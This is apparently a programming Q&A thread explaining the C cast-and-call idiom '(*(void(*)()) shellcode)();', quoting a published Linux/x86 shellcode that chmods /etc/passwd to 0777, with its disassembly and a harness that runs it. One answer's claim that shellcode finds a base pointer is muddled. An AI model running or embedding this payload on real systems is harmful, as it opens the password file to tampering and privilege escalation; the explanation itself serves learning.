Sorry if this sounds trivial, but can anybody explain to me what this is?
(*(void(*)()) shellcode)();
I think the second * is setting void to be a pointer, but and the first *? a casting? and the () is for call some function?
The source code is here:
/*
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
# Platform: linux/x86_64
# Author: Mohammad Reza Espargham
# Linkedin : https://ir.linkedin.com/in/rezasp
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website : www.reza.es
# Twitter : https://twitter.com/rezesp
# FaceBook : https://www.facebook.com/mohammadreza.espargham
Disassembly of section .text:
00000000 <.text>:
0: 6a 0f push $0xf
2: 58 pop %eax
3: 68 90 90 ff 01 push $0x1ff9090
8: 59 pop %ecx
9: c1 e9 10 shr $0x10,%ecx
c: 68 90 73 77 64 push $0x64777390
11: 5b pop %ebx
12: c1 eb 08 shr $0x8,%ebx
15: 53 push %ebx
16: 68 2f 70 61 73 push $0x7361702f
1b: 68 2f 65 74 63 push $0x6374652f
20: 89 e3 mov %esp,%ebx
22: cd 80 int $0x80
24: b0 01 mov $0x1,%al
26: b3 01 mov $0x1,%bl
28: cd 80 int $0x80
*/
#include <stdio.h>
#include <string.h>
int main(){
unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
fprintf(stdout, "Length: %d\n\n", strlen(shellcode));
(*(void(*)()) shellcode)();
}
It's casting shellcode to a function pointer returning nothing and taking an unspecified number of parameters. And then calling it.
The void (*)() is the type of a function that returns nothing and takes an unspecified number of parameters.
/* | --------------------| Cast to a function pointer
| | */
(* ((void(*)()) shellcode)) () /*
^ ^ call the function through the pointer
|-- dereference the pointer */
shellcode is a signature to a function pointer. Its used to find a base pointer and add some offsets to find the function pointer.
Consider the following code, its the same:
#include <iostream>
void anotherFunction()
{
std::cout << "Im being called" << std::endl;
}
int main()
{
typedef void (*funcPtr)(void);
funcPtr f=&anotherFunction;
f();
std::cin.get();
return 0;
}
This is the same thing as well
(*(void(*)(void))&anotherFunction)();
except for the signature ofc.